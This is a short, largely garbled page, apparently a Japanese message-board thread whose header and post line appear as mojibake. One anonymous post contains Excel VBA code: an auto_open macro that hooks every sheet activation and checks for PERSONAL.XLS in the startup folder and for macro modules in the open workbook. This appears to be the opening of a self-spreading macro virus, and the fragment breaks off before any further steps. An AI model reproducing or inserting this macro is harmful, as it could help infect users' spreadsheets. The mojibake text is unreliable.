y‚·‚£‚ρ‚Ձz‘ζ57‰ρ“ϊ–{‘IŽθŒ ‹£—ցyƒ_[ƒr[z

‚±‚ΜƒGƒ“ƒgƒŠ[‚π‚Ν‚Δ‚ΘƒuƒbƒNƒ}[ƒN‚Ι’Η‰Α
87 F3900–œ‰~‚Μ–Ό–³‚΅‚³‚ρF
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub